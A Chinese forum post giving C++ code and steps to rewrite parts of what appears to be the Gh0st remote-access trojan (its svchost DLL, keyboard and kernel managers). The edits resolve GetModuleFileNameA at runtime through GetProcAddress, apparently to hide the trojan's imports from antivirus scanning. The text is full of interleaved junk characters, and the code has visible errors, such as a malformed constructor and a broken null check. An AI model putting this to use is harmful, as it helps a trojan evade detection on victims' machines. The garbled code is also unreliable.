返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记' E0 k$ t" g4 e- f$ I3 ^
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
/ [+ _0 C4 t+ C----------------------------------------
8 e; Y! F! J. M, Q. Q' V" g6 ODTDY.h:
( l4 E: z' G6 z! N# e3 `% w5 `* J% x, S: p
#if _MSC_VER>1000. y" Y2 @8 ^% O' k2 p
#pragma once
+ f; r6 @: J! k#endif //_MSC_VER>10006 a2 B# t6 q  M
#include<windows.h>( ^+ U6 B% s  R5 n# F, _
5 y+ ^* v$ a; V( \' V& |% W2 m
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);5 K1 }0 m- D% u$ E, b6 N' M
class DTDY2 B$ [! q6 p/ _. j; Q
{
+ g! K3 C1 H. jpublic:, t0 H9 A% p" j$ z1 u6 H2 w
DTDY();
5 w* Q9 L% o( Q) kvirtual ~DTDY();
* X; e2 s& o  {0 `/ J4 ^- x8 G/ Kpublic:
% H! ~' @2 \& d8 {. K3 L$ wstatic pGetModuleFileNameA MyGetModuleFileName;8 ]: ?+ w* x% s& n4 c3 K
static BOOL FunInitiallization();& l6 E: a9 w  N# E
};
. {# ~! J+ e8 d6 `* O5 r% ^#endif( f& B5 H. h; U( Y9 C6 p
----------------------------------------
* ^$ t. \/ j6 W- e4 A) ^1 c- }. j5 O/ d2 _$ v0 F
DTDY.cpp:% P( u0 f; C4 ?6 a. l0 `4 ]  U
  ^; Y' ^6 X2 o* D$ {% _
#include "DTDY.h"3 S3 I$ K& d4 Z6 F- p7 X0 z* f' S
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
6 L6 ?- ]8 \' J8 e0 b) \, W6 ^# ~DTDY:TDY()6 P& A  R! f9 f" n1 Z
{
/ B/ i0 s8 q: H6 i6 j+ b}4 y5 U; o- H' c! U/ r0 G# ]
DTDY::~DTDY()2 E- y, N7 X+ u3 _
{
4 y+ \, }1 D: d- H5 I# [' Y' E}
4 q9 Z, W4 [$ JBOOL DTDY::FunInitiallization()( R$ F6 T5 w1 A6 R" J4 o
{4 ~$ o4 e6 ^$ M. x7 v3 u* Y
HMODULE hModule=LoadLibrary("kernel32.dll");2 _5 H& q6 \5 V- C, ^# S
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
% s. X, h3 A8 z; v8 ?; i: e# Nif(!MyGetModuleFileName=) return FALSE;
, ^6 M* Z; L% C
. Q) |) H6 f7 z4 T! d  B7 e: t$ ~return TRUE;
7 j. Z6 X  M1 F6 b( x& C7 i}9 ?& `0 e5 G9 j' ]: Z1 l" F
----------------------------------------
; H3 i' S7 u- O* ?svchost.cpp:4 B3 m& c: P* Y' r$ l
3 k# z' H4 n* k& n: f. j* v- x4 y
#include "DTDY.h"8 U# Q8 d* Z* b6 G! y% x

4 M; S( \! T, J+ v$ y+ D2 K/ m* L7 ?4 FBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved), t/ p3 U7 d) a0 u- n9 k
{: o. w- ?( b7 w+ B% Z/ l
switch(ul_reason_for_call)  y" `0 l! p0 |% Q- _9 u6 D/ y- R
{! A/ g/ f; x) Z7 H; Z8 X
case DLL_PROCESS_ATTACH:
- q& b: U! d, p4 ~if(!DTDY::FunInitiallization()) return FALSE;
* C( Z/ E; u7 n9 r( i0 ?+ `$ d/ p$ w4 t
break;& ~) V$ p( O+ \
}6 K# D. T3 i( k4 u
}# r4 B2 {' R& I1 U# }+ e
6 _3 F+ W8 F. j8 \+ a* O/ m

7 F- b$ |: d) yGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def; p* A0 w& B. p# }/ r% t% O
改写为' |0 C5 M8 {- c: d4 B+ r- a
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
' k- c" s" i7 d. T7 g----------------------------------------
+ Y9 m- P+ s) _& rKernelManager.cpp:
- @& r- D; M1 f- [% e, s. E+ Y, D5 P6 c0 a- V
#include "../DTDY.h"3 _& G* i+ k$ F( ]4 o' H
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
8 ^3 ?: S0 P3 S改写为
/ _& v% C- \* y9 C" ?9 pDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));( O' D; c9 y, q0 g( B) U5 u% n8 h8 P
----------------------------------------

返回列表